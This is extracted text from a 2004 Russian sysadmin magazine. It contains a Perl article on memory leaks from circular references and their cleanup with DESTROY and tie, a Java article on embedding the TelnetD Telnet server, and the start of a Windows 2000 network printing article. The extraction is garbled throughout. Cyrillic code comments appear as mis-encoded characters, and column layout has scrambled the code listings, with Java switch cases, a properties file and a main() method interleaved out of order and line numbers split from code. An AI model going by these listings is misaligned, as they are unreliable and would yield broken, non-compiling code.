программирование Perl – прекрасный язык (и мы сегодня в этом ещё убедимся), позволяющий программисту весьма кратко выразить достаточно ёмкие мысли. Приведу пример программы, состоящей из одной строки и демонстрирующей утечку памяти в Perl: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ! while (1) { my ($a,$b); $a=\$b; $b=\$a }

Если вы решите испытать эту нехитрую программу, то приготовьтесь к тому, что события будут развиваться стремительно. На моей станции она «съедает» всю память за доли минуты. В ней, как вы видите, реализован бесконечный цикл. В теле цикла созданы две локальные переменные $a и $b. Ожидается, что, как и положено локальным переменным, они будут уничтожаться каждый раз по окончании выполнения тела цикла, но этого не происходит. Почему? Причина кроется в устройстве системы сборки мусора. Последняя просто ведёт учёт всех ссылок, сделанных на переменную. Если переменная вышла из области видимости, но ссылки на неё остались, то данные не удаляются (хотя имя переменной становится недоступным). Это обеспечивает работоспособность всех ссылок, но может ввести в заблуждение систему сборки мусора. Обратите внимание, ссылки не анализируются на предмет, будут они удалены в ближайшее время или не будут. Они подсчитываются все без исключения. Иллюстрацией к сказанному может послужить абсолютно «бытовая» ситуация, встречающаяся сплошь и рядом: my $ref; { my $var=1975; $ref=\$var; } # print $var # íåâåðíî, èìÿ $var óæå íå äîñòóïíî print $$ref; # áóäåò íàïå÷àòàíî '1975', äàííûå íå èñ÷åçëè

Как видите, за пределами блока имя $var уже не доступно, но данные, ранее ассоциированные с этим именем, сохранились и будут в сохранности, пока не будет удалена последняя ссылка на них1. В нашем однострочном примере переменные $a и $b содержат ссылки друг на друга. Несмотря на то, что их имена становятся не видны сразу по окончании выполнения блока, система сборки мусора не удаляет данные, ассоциированные с ними, неуклонно следуя своему алгоритму: данные считаются «мусором» только в том случае, если ссылок на них не осталось. Может быть, кому-то покажется, что подобная ситуация попахивает надуманностью и встречается редко? Отнюдь. Например, у вас может быть массив структур2, описывающих товары, и другой массив структур, описывающих магазины. Структуры, описывающие товары, могут содержать указатели на магазины, а структуры, описывающие магазины, могут ссылаться на элементы списка товаров. Вот мы и получили две конструкции, ссылающиеся друг на друга. Больше того, реляционные базы данных просто-таки сами подсказывают подобные решения. Давайте разберёмся, как же решить проблему утилизации ненужных данных.

№5(18), май 2004

Наименее громоздким мне представляется следующий объект для исследований: 01: 02: 03: 04: 05: 06: 07: 08: 09: 10: 11: 12: 13: 14:

#!/usr/bin/perl -w # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ! sub create_ring { my ($length)=@_; my @ring=({'value' => 0})x$length; for (my $i=0; $i<$length; $i++) { $ring[$i]{'next_ref'}=$ring[($i+1)%$length]; } return @ring; } while (1) { my @ring=create_ring(10) }

Процедура create_ring создаёт и возвращает массив хэшей, каждый из которых имеет два ключа. Под именем «value» хранится некая величина, под именем «next_ref» – ссылка на следующий элемент массива. Последний элемент несёт ссылку на первый элемент (номер ноль), зацикливая конструкцию. Вызывая её в бесконечном цикле и следя за процессами в системе, легко убедиться, что в приведённой программе есть утечка памяти. Элементы списка, создаваемого create_ring, не удаляются по той же причине, что и $a и $b из первого примера: когда выполнение блока доходит до конца, остаются неудалённые ссылки на элементы списка (как вы помните, эти ссылки содержатся в хэшах, составляющих список, под именами «next_ref»). Ситуация не изменится даже в том случае, если чуть изменить наш код (привожу только важные и изменённые строки): ... 03: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ! ... 11: return $ring[0]; ... 14: while (1) { my $ring=create_ring(10) }

Не поможет и такое изменение: ... 03: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ! ... 11: return \@ring; ... 14: while (1) { my $ring=create_ring(10) }

В двух последних примерах по окончании выполнения блока мы будем терять ссылку на элемент массива (в первом) или ссылку на сам массив (во втором), но данные массива, уже никому не доступные, будут бережно сохраняться системой сборки мусора. Один из способов освободить память – разорвать этот круг (вернее, ring) вручную, добавив в конец блока соответствующую инструкцию: ... 14: while (1) { 15: my $ring=create_ring(10); 16: $ring->[0]{'next_ref'}=undef; 17: }

Одного разрыва вполне достаточно, чтобы система сборки мусора один за другим удалила все элементы

79


программирование структуры, но этот способ не выглядит изящно. Мы просто взяли на себя труд убрать мусор, но так и не заставили работать над этим интерпретатор Perl. Неужели всё так безнадёжно? Нет! В Perl есть механизмы, позволяющие «растолковать» ему все детали нашего замысла, я говорю об объектно-ориентированном подходе. Первый пример будет основан на связывании переменной с классом3. Я буду рассчитывать на то, что читатель знает об устройстве модулей Perl и знаком с механизмом связывания объектов с переменными. Вкратце скажу, что Perl позволяет4 ассоциировать переменную с классом с помощью оператора tie. После такого связывания переменная начинает жить по собственным законам, при любой манипуляции с ней вызываются соответствующие методы объекта, с которым она связана. Вот код, реализующий обозначенный подход: 01: 02: 03: 04: 05: 06: 07: 08: 09: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44:

#!/usr/bin/perl -w package MyRing; sub create_ring { my ($length)=@_; my @ring=({'value' => 0})x$length; for (my $i=0; $i<$length; $i++) { $ring[$i]{'next_ref'}=$ring[($i+1)%$length]; } return \@ring; } sub TIESCALAR { my ($class, $length)=@_; return bless create_ring($length), $class; } sub FETCH { return $_[0]; } sub STORE { die "ïèñàòü â MyRing íåëüçÿ.\n" } sub DESTROY { my ($self)=shift; $self->[0]{'next_ref'}=undef; } package main; # äåìîíñòðàöèÿ ðàáîòîñïîñîáíîñòè { my $a; { tie my $ring, 'MyRing', 10; $ring->[1]{'value'}='test'; $a=$ring; } # $ring áîëüøå íå âèäíà, íî äàííûå öåëû print $a->[0]{'next_ref'}{'value'}."\n"; # çäåñü âûçûâàåòñÿ DESTROY } # $ring=7; # ýòî âûçîâåò ìåòîä STORE while (1) { tie my $ring, 'MyRing', 10; }

Для упрощения я не стал выделять модуль, описывающий класс, в отдельный файл. Связывать объект будем со скалярной переменной, это тоже, наверное, не лучшее решение: естественнее было бы выбрать массив, а если бы мы захотели сделать нашу разработку более масштабируемой и развиваемой, то логичнее было бы выбрать хэш. Но для связывания таких «сложных» конструкций нам пришлось бы реализовать множество методов, для скаляра же достаточно четырёх, эта компактность и наглядность лучше всего подойдёт для обсуждения в статье.

80

Итак, в строках 3-27 описан модуль MyRing. Он содержит уже знакомую нам функцию создания и инициализации массива хэшей (create_ring) и методы, необходимые для обеспечения работоспособности связанной переменной. Метод TIESCALAR (строка 14) вызывается в момент связывания, он получает от оператора tie список дополнительных параметров, в котором у нас будет только одна величина – длина требуемого массива. Получив параметры, метод создаёт наш массив (вызов create_ring($length)), ассоциирует его с классом (вызов bless) и возвращает «новоиспечённый» объект. Метод FETCH (строка 19) вызывается, когда выполняется чтение значения связанной переменной. Ему передаётся один параметр – сам объект. Наша реализация FETCH не делает ничего, просто возвращает то, что получила без изменений. Метод STORE (строка 21) отвечает за запись в переменную. Я не придумал, что в него написать, он просто выдаёт грозное сообщение и «убивает» программу. И наконец, метод DESTROY (строка 23) – это то, что нам нужно. Он вызывается автоматически всегда, когда переменная выходит за область видимости или становится недоступна по другим причинам (например, когда программа завершается). Наш метод DESTROY разрывает кольцевую структуру (строка 25 выглядит знакомо, не правда ли?), позволяя системе сборки мусора довести свою работу до конца. Со строки 28 начинается основная программа, где мы сейчас и воспользуемся нашим классом MyRing. В строках 30-42 приведён небольшой фрагмент кода, демонстрирующий работоспособность нашей «кухни». В строке 32 мы создаём локальную переменную $a, которая будет существовать только в пределах блока, находящегося в строках 31-41. Во вложенном блоке (строки 33-37) мы создаём локальную переменную $ring, которую сразу же связываем с классом MyRing (строка 35). Для проверки корректности структуры $ring записываем строку «test» в её первый узел (строка 36). Для проверки корректности сборки мусора сохраняем копию $ring в $a. Что произойдёт, когда вложенный блок закончится? Оказывается, метод DESTROY не будет вызван! Это и понятно, мы сохранили указатель на нашу структуру (помните? $ring является указателем на массив) в переменной $a, а она всё ещё существует. Переменной $ring не стало, но пропало только имя, данные целы. Мы убеждаемся в этом в строке 39. Здесь же мы убеждаемся в корректности структуры $ring (теперь $a), получив доступ к первому узлу как к узлу, следующему после нулевого. А метод DESTROY будет вызван только тогда, когда исчезнет переменная $a. Таким образом, всё работает правильно. Обратите внимание и на то, что при выполнении манипуляций с $ring (строка 35) вызывается метод FETCH, отвечающий за чтение переменной, а не STORE, ответственный за запись. Действительно, чтобы проделать операцию, описанную в строке 35, нам пришлось считать значение указателя $ring, а не записать его. А вот строка 42 не случайно закомментирована. Опе-


программирование рация присвоения автоматически вызывала бы метод STORE, а он бы аварийно остановил выполнение программы. Наконец в строке 44 реализован всё тот же бесконечный цикл. На каждом проходе в его теле вновь создаётся локальная переменная $ring, но теперь мы связываем её с классом MyRing. Благодаря этому по завершении блока Perl передаёт управление методу DESTROY, который корректно освобождает память. Таким образом, нам больше не приходится удалять кольцевую структуру «руками». Мы научили систему сборки мусора обращаться с нашими данными, и Perl теперь сам (...почти) защищает нас от утечек памяти. Я продемонстрировал предельно мудрёную схему, можно ли обойтись меньшей кровью? Конечно! В Perl грань объектно-ориентированного программирования весьма размыта. Взгляните на следующий код, в нём нет почти ничего, напоминающего о его объектно-ориентированности: 01: 02: 03: 04: 05: 06: 07: 08: 09: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21:

#!/usr/bin/perl -w package MyRing; sub main::create_ring { my ($length)=@_; my @ring=({'value' => 0})x$length; for (my $i=0; $i<$length; $i++) { $ring[$i]{'next_ref'}=$ring[($i+1)%$length]; } return bless \@ring, __PACKAGE__; } sub DESTROY { my ($self)=@_; $self->[0]{'next_ref'}=undef; } package main; while (1) { my $ring=create_ring(10); }

Обратите внимание, вызов create_ring в основной программе вообще ни чем не выдаёт объектно-ориентированную природу переменной $ring. Правда, саму create_ring нам пришлось чуть доработать, сделав её каким-никаким, а всё-таки конструктором (вызов bless в строке 11), и «экспортировав»5 её в модуль main (имя main::create_ring в строке 5). Метод DESTROY остался без изменений. Вызываться он будет в тех же случаях и обеспечит такие же функции, как и в предыдущем примере. Я бы не стал говорить, что какой-то из двух приведённых методов решения проблемы лучше, а другой хуже. У каждого есть свои преимущества и недостатки. Первый длинноват, но код последователен и легко читается. Второй компактен, но менее универсален и его логику понять сложнее (вернее, сложнее разглядеть в нём объектно-ориентированный подход). Первый код работает чуть медленнее, поскольку переменная связана. Второй работает чуть быстрее, но допускает выполнение бессмысленных действий, например: $ring=7;

ме того, существует великое множество промежуточных подходов, сочетающих традиционное и объектноориентированное программирование в разных пропорциях. Приводить и обсуждать их все я, конечно, не буду, пусть каждый пишет код так, как привык. Гораздо интереснее задать другой вопрос: насколько надёжна наша защита от утечек памяти? Не будем наивны, она тоже небезупречна и болеет теми же болезнями, что и однострочная программа из самого первого листинга. Не будем далеко ходить за примером и чуть модифицируем тело цикла из последнего листинга: ... 21: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ! 22: while (1) { 23: my $ring=create_ring(10); 24: my $a; 25: $ring->[0]{'value'}=\$a; 26: $a=$ring; 27: }

Утечка произошла по той же самой причине, что и обычно. Когда выполнение блока подходит к концу и наступает время собрать мусор, система сборки обнаруживает, что на кольцевую структуру ссылаются две переменных: $ring и $a. Вторую уничтожить не получается, потому что на неё имеется ссылка. Где эта ссылка находится, система сборки мусора уже не разбирается, но мы-то знаем, что она содержится в недрах структуры $ring. Круг замкнулся, система сборки мусора снова не заметила наш мусор. Теперь, я надеюсь, читатель видит и причины возникновения проблемы, и пути её решения. Одним словом, при создании сложных структур данных всегда надо помнить, что Perl не сможет угадать ваши мысли, и чётко представлять, каким образом он интерпретирует ваши команды. 1

2

3

4 5

Во многих языках, например в Cи, ситуация обратна: данные могут быть удалены автоматически, даже если на них имеются указатели. Perl же не требует повышенной аккуратности при работе с указателями, всегда поддерживая их работоспособными. Конечно, это жаргон, здесь и далее фразы типа «массив структур» следует понимать как «массив указателей на структуры». В Perl понятия «класс», «модуль» и «пакет» так же не разделимы, как и понятия «объект» и «переменная», «метод» и «функция». Поэтому я не буду придерживаться строгой объектно-ориентированной терминологии, в Perl её просто нет. Начиная с версии 5.0. Конечно, это только имитация настоящего экспортирования. Подобный подход не позволит нормально использовать модуль MyRing в других модулях, но я не хотел бы здесь уделять чрезмерное внимание созданию модулей в Perl, и мой код демонстрирует не хорошие манеры при написании модулей, а предельно компактное решение.

О плюсах и минусах можно спорить бесконечно. Кро-

№5(18), май 2004

81


программирование

JAVA: ВСТРАИВАЕМ СЕРВЕР TELNET

В процессе работы над одним Java-проектом я столкнулся с необходимостью удаленного управления серверным приложением. Разрабатывать полновесный графический интерфейс пользователя (GUI) мне показалось нерациональным. Ведь если GUI создать на базе Swing или SWT, то придется устанавливать дополнительные программы (JRE и собственно GUI) на клиентских рабочих местах. А если GUI построить на основе JSP, то дополнительные программы (JSP-контейнер) придется устанавливать на сервере. В то же время проект был рассчитан на эксплуатацию квалифицированным персоналом, которому нет нужды до свистулек и погремушек графического интерфейса. Значит, вполне подходящим выбором могли быть доступные удаленно интерфейс командной строки (CLI) или текстовый интерфейс пользователя (TUI). Наиболее очевидный выбор для реализации удаленных CLI и TUI – это Telnet (RFC 854). Данная статья и посвящена встраиванию функционала сервера Telnet в Java-приложения.

АЛЕКСАНДР ФЕФЕЛОВ TelnetD Инструмент, способный помочь в решении поставленной задачи, был быстро найден. Это TelnetD – встраиваемый многопоточный сервер Telnet, реализованный на языке Java Дитером Вимбергером (Dieter Wimberger). TelnetD поставляется в виде исходных текстов по модифицированной лицензии BSD. На момент написания статьи была доступна версия 1.0.

Архитектура TelnetD Центральным объектом TelnetD является сервер (Daemon по терминологии разработчика), который создает все другие необходимые для работы объекты – слушателей (Listeners), менеджер оболочек (ShellManager) и менеджер терминалов (TerminalManager). Слушатели принимают и управляют сетевыми соединениями от клиентских программ. Менеджер оболочек занимается созданием оболочек (интерпретаторов командной строки), которые воспринимают и исполняют команды пользователя и реагируют на события сетевого соединения (такие как бездействие, таймаут или разрыв).

82

Поддержка конкретных реализаций терминалов (таких как ANSI, VT100 или xterm), возложена на менеджер терминалов. Все перечисленные компоненты TelnetD конфигурируются с помощью объектов java.util.Properties, а значит настройки можно хранить в обычных текстовых файлах. Для встраивания TelnetD в программу нужно всего лишь запрограммировать собственный интерпретатор командной строки, реализующий необходимую логику взаимодействия с пользователем.

Начнем… Для работы с TelnetD нам понадобятся: ! дистрибутив TelnetD, включающий исходные тексты (файл telnetd-1.0.zip) и документацию (файл telnetd1.0_docs.zip); ! инструментарий Apache Ant. (В задачи данной статьи не входит описание работы с Ant. Будем предполагать, что Ant уже установлен и настроен.) Развернем дистрибутив и скомпилируем TelnetD, выполнив в каталоге установки команду:


программирование + TelnetD.getReference().getVersion() + CRLF); termIO.flush();

ant jar

При компиляции будут выданы предупреждения об использовании устаревшего (deprecated) метода java.lang. Thread.stop(), которые могут быть безболезненно проигнорированы. В результате компиляции в каталоге build будет создан файл telnetd.jar. (Обратите внимание на его малый размер. В моем случае – всего 86060 байт.) Теперь скопируем все файлы из каталога src\net\ wimpi\telnetd\resources в каталог build, в нем выполним команду:

while (true) { // Âûâîäèì ïîäñêàçêó termIO.write(CRLF + "Press [i] for information," + CRLF + "[x] for exit," + CRLF + "[s] for shutdown" + CRLF + CRLF); termIO.flush(); // Æäåì ââîäà îò ïîëüçîâàòåëÿ int ch = termIO.read(); // Ðåàãèðóåì ñîîòâåòñòâóþùèì îáðàçîì switch (ch) { case 120: // x - çàâåðøåíèå ñåàíñà termIO.write("Goobye!"); termIO.flush(); connection.close(); return;

java -classpath telnetd.jar net.wimpi.telnetd.TelnetD

которая запустит сервер TelnetD на выполнение в демонстрационном режиме, и попытаемся установить соединение с сервером с помощью команды:

case 115: // s - îñòàíîâ ñåðâåðà termIO.write("Requiescat in pace!"); termIO.flush(); TelnetD.getReference().setServing(false); TelnetD.getReference().shutdown(); System.exit(0); return;

telnet localhost 6666

Voila! Наш сервер работает.

case 105: // i - èíôîðìàöèÿ î ñåðâåðå è ñåàíñå // Ïîëó÷àåì äàííûå î ñîåäèíåíèè ConnectionData data = connection.getConnectionData();

Пример использования TelnetD Как было сказано выше, для встраивания TelnetD в программу необходимо создать свой класс для интерпретатора командной строки. Этот класс должен реализовывать интерфейс Shell из пакета net.wimpi.telnetd.shell. Следует отметить, что интерфейс Shell является расширением интерфейса ConnectionListener из пакета net. wimpi.telnetd.net. А это значит, что интерпретатор командной строки должен предоставлять методы, реагирующие на события соединения. Мы создадим максимально простой интерпретатор, который будет ждать ввода пользователем какого-либо символа и выполнять соответствующее действие. Набор действий невелик – это выдача дополнительной информации о сеансе, завершение сеанса и останов сервера. Итак, код: package telnetdtest; import import import import

net.wimpi.telnetd.*; net.wimpi.telnetd.io.*; net.wimpi.telnetd.net.*; net.wimpi.telnetd.shell.*;

public class Test1Shell implements Shell { // Ñîçäàíèå ýêçåìïëÿðà èíòåðïðåòàòîðà êîìàíäíîé ñòðîêè // (îáîëî÷êè). Ýòîò ìåòîä, õîòÿ è íå îïèñàí â èíòåðôåéñå // Shell, äîëæåí áûòü ðåàëèçîâàí, òàê êàê îí // èñïîëüçóåòñÿ ìåíåäæåðîì îáîëî÷åê äëÿ ñîçäàíèÿ // ýêçåìïëÿðà êîíêðåòíîé îáîëî÷êè public static Shell createShell() { return new Test1Shell(); } // Ñîáñòâåííî èíòåðïðåòàòîð public void run(Connection con) { connection = con; termIO = (TerminalIO) connection.getTerminalIO(); // Ðåãèñòðèðóåì ýòîò îáúåêò â êà÷åñòâå îáðàáîò÷èêà // ñîáûòèé ñîåäèíåíèÿ this.connection.addConnectionListener(this); // Âûâîäèì áàííåð, ñîäåðæàùèé íîìåð âåðñèè TelnetD termIO.write("TelnetD testbed 1" + CRLF + "TelnetD version: "

№5(18), май 2004

}

}

}

// Âûâîäèì äàííûå íà ýêðàí termIO.write("Additional info:" + CRLF); termIO.write("Connected from: " + data.getHostName() + " [" + data.getHostAddress() + ":" + data.getPort() + "]" + CRLF); termIO.write("Guessed locale: " + data.getLocale() + CRLF); termIO.write("Negotiated terminal type: " + data.getNegotiatedTerminalType() + CRLF); termIO.write("Scrolling support: " + (termIO.getTerminal().supportsScrolling() ? "yes" : "no") + CRLF); termIO.write("Graphics rendition support: " + (termIO.getTerminal().supportsSGR() ? "yes" : "no") + CRLF); termIO.write("Negotiated columns: " + data.getTerminalColumns() + CRLF); termIO.write("Negotiated rows: " + data.getTerminalRows() + CRLF); termIO.write("Login shell: " + data.getLoginShell() + CRLF); termIO.flush(); break;

// Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: òàéìàóò public void connectionTimedOut(ConnectionEvent ce) { termIO.write("*** Connection timedout" + CRLF); termIO.flush(); connection.close(); } // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: áåçäåéñòâèå public void connectionIdle(ConnectionEvent ce) { termIO.write("*** Connection idle" + CRLF); termIO.flush(); } // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: çàïðîñ íà ðàçðûâ // ñîåäèíåíèÿ (Ctrl+D) public void connectionLogoutRequest(ConnectionEvent ce) { termIO.write("*** Connection logout request" + CRLF); termIO.flush(); } // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: ðàçðûâ ñîåäèíåíèÿ public void connectionBroken(ConnectionEvent ce) { termIO.write("*** Connection broken" + CRLF); termIO.flush(); }

83


программирование // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: ñèãíàë NVT BREAK public void connectionSentBreak(ConnectionEvent ce) { termIO.write("*** Connection break" + CRLF); termIO.flush(); } private Connection connection; private TerminalIO termIO; private final String CRLF = BasicTerminalIO.CRLF; }

Конфигурационный файл для нашего примера описывает параметры ведения протоколов работы TelnetD, перечни известных терминалов, оболочек и слушателей с указанием реализующих их классов и параметров: #===================================================== # Ïàðàìåòðû ñèñòåìíûõ æóðíàëîâ #===================================================== syslog=on syslog.media=terminal syslog.stampformat=[yyyy-MM-dd hh:mm:ss z] syslog.path= #===================================================== # Ïàðàìåòðû îòëàäî÷íûõ æóðíàëîâ #=====================================================

# Ìàêñèìàëüíîå êîëè÷åñòâî àêòèâíûõ ñîåäèíåíèé myListener.maxcon=10 # Ìàêñèìàëüíîå êîëè÷åñòâî ñîåäèíåíèé, îæèäàþùèõ àêòèâèçàöèè myListener.maxqueued=0 # Âðåìÿ áåçäåéñòâèÿ ñîåäèíåíèÿ myListener.time_to_warning=300000 # Âðåìÿ òàéìàóòà ñîåäèíåíèÿ myListener.time_to_timedout=100000 # Ïåðèîäè÷íîñòü ïðîâåðêè áåçäåéñòâèÿ è òàéìàóòà myListener.housekeepinginterval=1000 # Ðåæèì ââîäà myListener.inputmode=character # Èìÿ îáîëî÷êè, çàïóñêàåìîé ñëóøàòåëåì myListener.loginshell=myShell # Êëàññ ôèëüòðà ñîåäèíåíèé myListener.connectionfilter=

Теперь создадим программу, которая запустит наш Telnet-сервер: package telnetdtest;

debuglog=off debuglog.media=terminal debuglog.stampformat=[yyyy-MM-dd hh:mm:ss z] debuglog.path=

import java.io.*; import java.util.*;

#===================================================== # Òåðìèíàëû #=====================================================

public class Test1 {

import net.wimpi.telnetd.*;

public static void main(String[] args) throws Exception {

# Èçâåñòíûå òåðìèíàëû terminals=vt100,ansi,windoof,xterm

System.out.println("TelnetD testbed 1");

# Êëàññû òåðìèíàëîâ term.vt100.class=net.wimpi.telnetd.io.terminal.vt100 term.ansi.class=net.wimpi.telnetd.io.terminal.ansi term.windoof.class=net.wimpi.telnetd.io.terminal.Windoof term.xterm.class=net.wimpi.telnetd.io.terminal.xterm

// Çàãðóæàåì íàñòðîéêè TelnetD èç ôàéëà Properties settings = new Properties(); settings.load(new FileInputStream("test1.properties"));

# Àëèàñû òåðìèíàëîâ term.vt100.aliases=default,vt100-am,vt102,dec-vt100 term.ansi.aliases=color-xterm,xterm-color,vt320,vt220,linux term.windoof.aliases= term.xterm.aliases=

// Ðàçðåøàåì ñåðâåðó ðàáîòàòü daemon.setServing(true);

#===================================================== # Îáîëî÷êè #===================================================== # Èçâåñòíûå îáîëî÷êè shells=myShell #------------------------------------------# Ïàðàìåòðû îáîëî÷êè myShell #------------------------------------------# Êëàññ îáîëî÷êè shell.myShell.class=telnetdtest.Test1Shell #===================================================== # Ñëóøàòåëè #===================================================== # Èçâåñòíûå ñëóøàòåëè listeners=myListener #------------------------------------------# Ïàðàìåòðû ñëóøàòåëÿ myListener #------------------------------------------# Ïîðò, íà êîòîðîì ñëóøàòåëü îæèäàåò ñîåäèíåíèÿ myListener.port=7241 # Ìàêñèìàëüíîå êîëè÷åñòâî çàïðîñîâ íà ñîåäèíåíèå

84

# (çàùèòà îò ôëóäà) myListener.floodprotection=5

// Ñîçäàåì ñåðâåð TelnetD daemon = TelnetD.createTelnetD(settings);

} }

Интерфейс пользователя В предыдущем примере для организации общения с пользователем применялись возможности посимвольного ввода, которых явно недостаточно для реальных приложений. Пакет net.wimpi.telnetd.io.toolkit предоставляет инструменты для организации более развитого диалога с пользователем. В число этих инструментов входят как активные (взаимодействующие с пользователем каким-либо образом), так и пассивные (только лишь отображающие чтолибо) компоненты. Активные компоненты представлены однострочным (класс Editfield) и многострочным (класс Editarea) редакторами, меню (класс Selection), флажком (класс Checkbox) и пейджером (класс Pager). Для работы с активным компонентом необходимо создать нужный объект, вызвать соответствующие методы для настройки параметров, вызвать метод run(), приводящий к активизации компонента,


программирование и, наконец, вызвать метод getValue() для получения результатов работы компонента. Пассивные компоненты – это метка (класс Label), строки заголовка (класс Titlebar) и статуса (класс Statusbar). Для пассивного компонента после создания и настройки параметров необходимо вызывать метод draw(), что приведет к отображению компонента. Посмотрим некоторые из этих компонентов в деле. Для этого изменим код метода run(…) в интерпретаторе из первого примера. Теперь он выглядит так:

termIO.write(CRLF + "Your input: " + CRLF + editfield.getValue() + CRLF); termIO.flush(); break; case 1: // äåìîíñòðàöèÿ âîçìîæíîñòåé // ìíîãîñòðî÷íîãî ðåäàêòîðà termIO.eraseScreen(); termIO.homeCursor(); termIO.write("Editarea demo" + CRLF + "-------------" + CRLF); final int MAX_EDITAREA_ROWS = 4; // Âûâîäèì ïîäñêàçêó ê ðåäàêòîðó termIO.write(CRLF + "Type any text (max " + MAX_EDITAREA_ROWS + " rows), press [Tab] " + "to finish typing" + CRLF + "Text:" + CRLF); termIO.flush();

public void run(Connection con) { connection = con; termIO = (TerminalIO) connection.getTerminalIO(); // Ðåãèñòðèðóåì ýòîò îáúåêò â êà÷åñòâå îáðàáîò÷èêà // ñîáûòèé ñîåäèíåíèÿ this.connection.addConnectionListener(this);

// Ñîçäàåì ìíîãîñòðî÷íûé ðåäàêòîð Editarea editarea = new Editarea(termIO, "", MAX_EDITAREA_ROWS, MAX_EDITAREA_ROWS);

while (true) { // Î÷èùàåì ýêðàí termIO.eraseScreen();

// Æäåì ââîäà îò ïîëüçîâàòåëÿ editarea.run(); // Ïîêàçûâàåì ïîëüçîâàòåëþ ðåçóëüòàò termIO.write(CRLF + "Your input: " + CRLF + editarea.getValue() + CRLF); termIO.flush();

// Ñîçäàåì è îòîáðàæàåì ñòðîêè çàãîëîâêà è ñòàòóñà Titlebar title = new Titlebar(termIO, ""); title.setTitleText("TelnetD testbed 2"); title.setForegroundColor(ColorHelper.YELLOW); title.setBackgroundColor(ColorHelper.BLUE); title.setAlignment(Titlebar.ALIGN_CENTER); title.draw(); Statusbar status = new Statusbar(termIO, ""); status.setStatusText("TelnetD version: " + TelnetD.getReference().getVersion()); status.setForegroundColor(ColorHelper.YELLOW); status.setBackgroundColor(ColorHelper.BLUE); status.setAlignment(Statusbar.ALIGN_RIGHT); status.draw();

break; case 2: // çàâåðøåíèå ñåàíñà connection.close(); return;

// Âûâîäèì ïîäñêàçêó ê ìåíþ termIO.homeCursor(); termIO.moveCursor(BasicTerminalIO.DOWN, 5); termIO.write(CRLF + "Use arrow keys to select " + "command, [Enter] or [Tab] to run command" + CRLF + "Command:" + CRLF); termIO.flush(); // Ñîçäàåì ìåíþ âûáîðà è àêòèâèçèðóåì åãî Selection menu = new Selection(termIO, ""); menu.addOption("Editfield demo"); menu.addOption("Editarea demo"); menu.addOption("Exit"); menu.addOption("Shutdown"); menu.run(); // Ïîëó÷àåì âûáîð ïîëüçîâàòåëÿ int cmd = menu.getSelected(); // Ðåàãèðóåì ñîîòâåòñòâóþùèì îáðàçîì switch (cmd) { case 0: // äåìîíñòðàöèÿ âîçìîæíîñòåé // îäíîñòðî÷íîãî ðåäàêòîðà termIO.eraseScreen(); termIO.homeCursor(); termIO.write("Editfield demo" + CRLF + "--------------" + CRLF); final int MAX_EDITFIELD_CHARS = 20; // Âûâîäèì ïîäñêàçêó ê ðåäàêòîðó termIO.write(CRLF + "Type any text (max " + MAX_EDITFIELD_CHARS + " chars), press " + "[Enter] or [Tab] to finish typing" + CRLF + "Text:" + CRLF); termIO.flush(); // Ñîçäàåì îäíîñòðî÷íûé ðåäàêòîð Editfield editfield = new Editfield(termIO, "", MAX_EDITFIELD_CHARS); // Æäåì ââîäà îò ïîëüçîâàòåëÿ editfield.run(); // Ïîêàçûâàåì ïîëüçîâàòåëþ ðåçóëüòàò

№5(18), май 2004

}

}

}

case 3: // îñòàíîâ ñåðâåðà TelnetD.getReference().setServing(false); TelnetD.getReference().shutdown(); System.exit(0); return;

// Æäåì, ïîêà ïîëüçîâàòåëü íàæìåò ëþáóþ êëàâèøó termIO.write(CRLF + "Press any key"); termIO.flush(); termIO.read();

Заключение Итак, используя TelnetD, можно с минимальными затратами обеспечить возможность удаленного управления Java-приложением по протоколу Telnet. Здесь, однако, следует отметить, что протокол Telnet передает все данные «открытым текстом», а значит, использование его в публичных сетях небезопасно. В качестве альтернативы протоколу Telnet для применения в публичных сетях можно предложить нестандартные расширения протокола Telnet или протокол SSH.

Ссылки: 1. http://www.faqs.org/rfcs/rfc854.html – спецификация протокола Telnet. 2. http://telnetd.sourceforge.net/ – домашняя страница TelnetD. 3. http://ant.apache.org/ – домашняя страница Jakarta Ant. 4. http://www.pvv.ntnu.no/~asgaut/crypto/thesis/thesis.html – вариант модификации протокола Telnet с целью повышения безопасности. 5. http://www.ietf.org/html.charters/secsh-charter.html – материалы рабочей группы IETF Secure Shell по стандартизации протокола SSH.

85




образование

УПРАВЛЕНИЕ СЕТЕВОЙ ПЕЧАТЬЮ В WINDOWS 2000 ЧАСТЬ 1

Во многих крупных организациях используется сетевая печать. В этой статье будет рассмотрен круг вопросов, касающихся обеспечения сетевой печати в Windows-доменах, функционирующих на основе протокола TCP/IP. Статья состоит из 2 частей: в первой части описан процесс установки сетевого принтера в домене Windows, во второй – обеспечение автоматизированного подключения принтера к пользователю.

ИВАН КОРОБКО

88


образование Сетевой принтер Любой сетевой принтер представляет собой печатающее устройство, снабженное сетевым аппаратным обеспечением, а именно: сетевой картой, дополнительной памятью, а в некоторых случаях жестким диском для буферизации больших документов. Для обеспечения связи эти принтеры используют протоколы, поддерживаемые вашей сетью, как правило, таким транспортным протоколом является TCP/IP, и имеют собственные IP-адреса. Сетевой принтер имеет веб-интерфейс, позволяющий быстро и просто удаленно менять настройки печатающего устройства. Соединение локальных принтеров с сетью может быть реализовано с помощью Jet Direct. Jet Direct – это устройство, преобразующее LPT/USB-интерфейс в сетевой. С помощью этого устройства к сети может быть подключено несколько принтеров. Сетевые принтеры чаще всего используются с серверами печати, но могут функционировать и самостоятельно в сети, что экономично, поскольку не требует приобретения сервера. Тем не менее, если нет сервера, формирующего очередь печати, то каждый пользователь создает свою собственную очередь печати и не может видеть, где его документ находится относительно других документов в глобальной очереди 